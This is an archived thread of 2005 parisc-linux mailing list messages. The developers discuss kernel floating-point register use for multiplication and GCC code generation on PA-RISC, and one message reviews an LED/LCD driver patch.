Xref: news.gmane.org gmane.linux.ports.parisc:22489

On Thu, Mar 24, 2005 at 04:33:46PM -0500, John David Anglin wrote:
> > > 4.0 has a
> > > new option, -mfixed_range=, that was introduced so that a small range
> > > of fp registers could be used for the xmpyu multiplication insn.  It
> > > might be useful to experiment with this option to see if it useful.
> > 
> > I don't know enough about ABI to understand the issues here.
> > AFAIK, we currently are using FP registers because that's
> > the way multiplication is implemented in the integer math libs
> > we inherited.
> 
> No.  Currently in kernel builds, the use of FP registers is completely
> disabled and integer multiplication is done using the millicode library.

Erm...objdump disagrees:
grundler <541>hppa64-linux-objdump -rD vmlinux | fgrep xmpy | wc
   1654   11578   82683

First occurance is here:
000000001010bca0 <__muldi3>:
    1010bca0:   37 de 00 80     ldo 40(sp),sp
    1010bca4:   db 56 07 e0     extrd,s r26,31,32,r22
    1010bca8:   73 d6 3f 91     std r22,-38(sp)
    1010bcac:   53 d6 3f 93     fldd -38(sp),fr22
    1010bcb0:   73 d9 3f 91     std r25,-38(sp)
    1010bcb4:   53 d7 3f 93     fldd -38(sp),fr23
    1010bcb8:   3a d7 57 96     xmpyu fr22R,fr23R,fr22
    1010bcbc:   d3 53 1b f0     extrw,u r26,31,16,r19
    1010bcc0:   73 d6 3f 93     fstd fr22,-38(sp)
    1010bcc4:   53 d6 3f 91     ldd -38(sp),r22
...

objdump output is on still on gsyprf11:/tmp/2.6.12-rc1-objdump
In case you want to browse it more.

> However with a few FP regs, integer multiplication (32 bit) can be
> done in hardware except of course on machines that don't have FP
> hardware.  The downside is that the kernel has to save whatever
> FP registers it uses.

Yeah, I thought that was happening already.
I'm hoping "save_fp         %r25" in arch/parisc/kernel/entry.S
takes care of that.

> The -mfixed_range= option "fixes" a range if registers.  GCC won't
> use registers that are fixed.

Yeah, it might make sense to "document" current usage
and limit which FP regs the kernel can use. Ie we
could reduce FP state that needs to be save when
entering the kernel. Context switch would need to save
the rest.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 05:07:52 -0800
Lines: 88
Approved: news@gmane.org
Message-ID: <20050324130751.GK2485@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623714 13458 80.91.229.3 (22 Nov 2014 02:35:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 13:08:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 24 Mar 2005 14:08:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C012E7D670;
	Thu, 24 Mar 2005 06:09:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24992-08; Thu, 24 Mar 2005 06:09:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAD4E7D663;
	Thu, 24 Mar 2005 06:09:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B5BE7D65D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 06:09:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24992-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 06:09:26 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 84E227D655
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 06:09:26 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 27FD911208F; Thu, 24 Mar 2005 05:07:52 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6d4wYpMPeSE5+76WZHQhaXN2IGRvb8Cm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22490

i've been looking at the extreme slowness of ext3 during some workloads.
came across this bit of code... not that it will make any difference,
but i wonder if we can make gcc a bit smarter?

given this bit of C code:

static inline int test_bit(int nr, const void * addr)
{
	const unsigned char *ADDR = (const unsigned char *) addr;
	return (ADDR[nr >> 3] >> (nr & 7)) & 1;
}

int proc1(int nr, int foo)
{
	int ret;
	char *buf1, *buf2;

	if (test_bit(nr, buf1))
		return 0;

	if (foo)
		ret = 1;
	else
		ret = !test_bit(nr, buf2);
	return ret;
}

int proc2(int nr, int foo)
{
	char *buf1, *buf2;

	if (test_bit(nr, buf1))
		return 0;

	if (foo)
		return 1;
	else
		return !test_bit(nr, buf2);
}

i would have expected gcc to produce the same code for proc1() and
proc2() (and in fact it does for 32-bit), but for 64-bit, proc2() is 2
insn shorter than proc1().  it seems like there are also some
opportunities for further optimizations if gcc can recognize that the
return value can only be 0 or 1, so the sign extension (?) extrd insn at
the end is not needed, and we can deposit the result directly into ret0
instead of r20. that should save us 2 insns.

.globl proc2
	.type	proc2, @function
proc2:
	.PROC
	.CALLINFO FRAME=0,NO_CALLS
	.ENTRY
	extrd,s %r26,63,32,%r26
	extrw,u %r26,31,3,%r19
	extrd,s %r25,63,32,%r25
	mtsarcm %r19
	extrd,s %r26,60,61,%r26
	ldb %r26(%r20),%r19
	extrw,s %r19,%sar,32,%r19
	bb,*< %r19,63,.L10
	ldi 0,%r28
	ldi 1,%r28
	cmpb,*<> %r0,%r25,.L10
	ldi 0,%r20
	ldb %r26(%r21),%r19
	extrw,s %r19,%sar,32,%r19
	extrd,s,*< %r19,63,1,%r0
	ldi 1,%r20
	extrd,s %r20,63,32,%r28
.L10:
	bve,n (%r2)
	.EXIT
	.PROCEND

is this worth looking into? :)
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ja2morri@csclub.uwaterloo.ca (James A. Morrison)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: 24 Mar 2005 08:27:24 -0500
Lines: 136
Approved: news@gmane.org
Message-ID: <kfhwtrx2myr.fsf@csclub.uwaterloo.ca>
References: <20050324130751.GK2485@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623714 13461 80.91.229.3 (22 Nov 2014 02:35:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 13:28:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 24 Mar 2005 14:28:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 451747D670;
	Thu, 24 Mar 2005 06:29:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26542-03; Thu, 24 Mar 2005 06:29:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 486507D671;
	Thu, 24 Mar 2005 06:29:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D7D97D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 06:29:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25279-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 06:29:19 -0700 (MST)
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by free.linux.hp.com (Postfix) with ESMTP id 9F0817D659
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 06:29:19 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id 7ED53A8558; Thu, 24 Mar 2005 08:27:24 -0500 (EST)
In-Reply-To: <20050324130751.GK2485@tausq.org>
Original-Lines: 130
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: M6UwYoNUeSE5+76WZHQhaXN2IGRvb8CD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22491



Randolph Chung <randolph@tausq.org> writes:

> i've been looking at the extreme slowness of ext3 during some workloads.
> came across this bit of code... not that it will make any difference,
> but i wonder if we can make gcc a bit smarter?
> 
> given this bit of C code:
> 
> static inline int test_bit(int nr, const void * addr)
> {
> 	const unsigned char *ADDR = (const unsigned char *) addr;
> 	return (ADDR[nr >> 3] >> (nr & 7)) & 1;
> }
> 
> int proc1(int nr, int foo)
> {
> 	int ret;
> 	char *buf1, *buf2;
> 
> 	if (test_bit(nr, buf1))
> 		return 0;
> 
> 	if (foo)
> 		ret = 1;
> 	else
> 		ret = !test_bit(nr, buf2);
> 	return ret;
> }
> 
> int proc2(int nr, int foo)
> {
> 	char *buf1, *buf2;
> 
> 	if (test_bit(nr, buf1))
> 		return 0;
> 
> 	if (foo)
> 		return 1;
> 	else
> 		return !test_bit(nr, buf2);
> }
> 

 GCC 4 already produces the same code for these functions*.  Attached is the
final_cleanup dumb of an O2 build of this file.

 * I only checked that the assembly was the exact same on ia64, but the
tree dumps only differ in the names of the ret variable.

-- 
Thanks,
Jim

http://www.student.cs.uwaterloo.ca/~ja2morri/
http://phython.blogspot.com
http://open.nit.ca/wiki/?page=jim

;; Function proc1 (proc1)

proc1 (nr, foo)
{
  int D.1253;
  const unsigned char * D.1249;
  char * buf2;
  char * buf1;
  int ret;

<bb 0>:
  D.1249 = (const unsigned char *) (long unsigned int) (nr >> 3);
  D.1253 = nr & 7;
  if (((int) *((const unsigned char *) buf1 + D.1249) >> D.1253 & 1) != 0) goto <L10>; else goto <L2>;

<L10>:;
  ret = 0;
  goto <bb 5> (<L7>);

<L2>:;
  if (foo != 0) goto <L11>; else goto <L4>;

<L11>:;
  ret = 1;
  goto <bb 5> (<L7>);

<L4>:;
  ret = ((int) *(D.1249 + (const unsigned char *) buf2) >> D.1253 & 1) == 0;

<L7>:;
  return ret;

}



;; Function proc2 (proc2)

proc2 (nr, foo)
{
  int D.1291;
  const unsigned char * D.1287;
  char * buf2;
  char * buf1;
  int D.1239;

<bb 0>:
  D.1287 = (const unsigned char *) (long unsigned int) (nr >> 3);
  D.1291 = nr & 7;
  if (((int) *((const unsigned char *) buf1 + D.1287) >> D.1291 & 1) != 0) goto <L9>; else goto <L2>;

<L9>:;
  D.1239 = 0;
  goto <bb 5> (<L6>);

<L2>:;
  if (foo != 0) goto <L10>; else goto <L4>;

<L10>:;
  D.1239 = 1;
  goto <bb 5> (<L6>);

<L4>:;
  D.1239 = ((int) *(D.1287 + (const unsigned char *) buf2) >> D.1291 & 1) == 0;

<L6>:;
  return D.1239;

}


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Thu, 24 Mar 2005 23:25:17 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <20050325062517.GH29361@colo.lackof.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<1111694714.5519.28.camel@mulgrave>
	<200503242100.06699.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623714 13463 80.91.229.3 (22 Nov 2014 02:35:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:14 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Mar 2005 06:23:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 25 Mar 2005 07:23:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB5B57D682;
	Thu, 24 Mar 2005 23:25:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00631-02; Thu, 24 Mar 2005 23:25:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 961327D684;
	Thu, 24 Mar 2005 23:25:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E04FE7D682
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 23:25:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00393-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 23:25:08 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 60F4A7D680
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 23:25:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 279F629802F;
	Thu, 24 Mar 2005 23:25:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08197-07; Thu, 24 Mar 2005 23:25:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9E7A8298010; Thu, 24 Mar 2005 23:25:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503242100.06699.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KcsxYid7eSE5+76WZHQhaXN2IGRvbwCy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22492

On Thu, Mar 24, 2005 at 09:00:05PM +0000, David Pye wrote:
...
> +	for (i=0; i<4; ++i) 
> +	{
> +		if ((leds & mask[i]) != (lastleds & mask[i])) 
> +		{
> +			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
> +			msleep(msec_cmd_delay);
> +			
> +			gsc_writeb( leds & mask[i] ? blockp[i]->on : 
> +					blockp[i]->off, LCD_DATA_REG );
> +			msleep(msec_cmd_delay);
> +		}
>  	}
> +	lastleds = leds;

I still *really* like this bit. Good work!

> -   ** updates the chassis LCD/LED 
> +   ** is scheduled every 5 milliseconds and updates the chassis LCD/LED 
...
> -#define NORMALIZED_COUNT(count) (count/(HZ/100))
> +#define LED_MINIMUM_ON_TIME (HZ*10/100)

Why not just update every 10ms and ditch all the "minimum on time" stuff?
Can someone tell if an LED/LCD came on 5ms later than it should have been?

> +	static unsigned long diskio_on_jiffies;
> +	static unsigned long lantx_on_jiffies;
> +	static unsigned long lanrcv_on_jiffies;

If not, then this bit and...

> +	/* If the leds are on, but should be turned off, make sure they have been on for
> +	 * the minimum time, to prevent 'flutter' 
> +	 */

...and...

> +		else if (lastleds & LED_LAN_TX && time_before(jiffies, lantx_on_jiffies + LED_MINIMUM_ON_TIME))
> +		{
> +			currentleds |= LED_LAN_TX;
> +		}

can go away. Ditto for DiskIO.

We already know heartbeat stays on/off longer than that (about).

>  	/* blink all LEDs twice a second if we got an Oops (HPMC) */
> -	if (oops_in_progress) {
> +	if (oops_in_progress) 
> +	{
>  		currentleds = (count_HZ<=(HZ/2)) ? 0 : 0xff;
>  	}

Will this work for LCD?
Will the itimer continue to run and workq continue to get serviced?
Even if it does, I'm nervous about it.
Maybe stop all activity at that point?

The panic chassis log will get printed and that should be a good indicator.
Anyway, this is a seperate issue from the rest of the patch.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 15:55:07 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20050324235501.GL2485@tausq.org>
References: <20050324223346.GE29361@colo.lackof.org>
	<200503242334.j2ONYgHV007051@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623715 13467 80.91.229.3 (22 Nov 2014 02:35:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2005 23:55:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 25 Mar 2005 00:55:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5D037D685;
	Thu, 24 Mar 2005 16:56:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31581-05; Thu, 24 Mar 2005 16:56:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 475157D67F;
	Thu, 24 Mar 2005 16:56:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0240E7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 16:56:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31581-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 16:56:51 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 7F9217D627
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Mar 2005 16:56:51 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 392B5111F9A; Thu, 24 Mar 2005 15:55:09 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200503242334.j2ONYgHV007051@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JjYxYkpneSE5+76WZHQhaXN2IGRvbwDb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22493

> Not good.  This is from libgcc.  I see that the muldi3 expander is
> disabled when we disable FP regs.  I'm not sure why but it doesn't
> seem right.  Using the expander, would cause the use of the millicode
> routine when FP regs are disabled.

We *do not* disable fpregs in the kernel. We would like to though.

The problem is precisely libgcc - even if we compile the kernel with
--disable-fpregs, millicode calls generated by gcc will still use
fpregs. One proposal that has been talked about before is if we can
compile a version of the millicode lib that uses limited fpregs range
and compile the kernel using this new option that Dave is talking about,
then we will be able to get by using a (much) smaller subset of fp regs
and we won't have to save/restore them in the kernel.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 24 Mar 2005 15:59:06 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20050324235902.GM2485@tausq.org>
References: <20050324223346.GE29361@colo.lackof.org>
	<200503242334.j2ONYgHV007051@hiauly1.hia.nrc.ca>
	<20050324235501.GL2485@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623715 13469 80.91.229.3 (22 Nov 2014 02:35:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
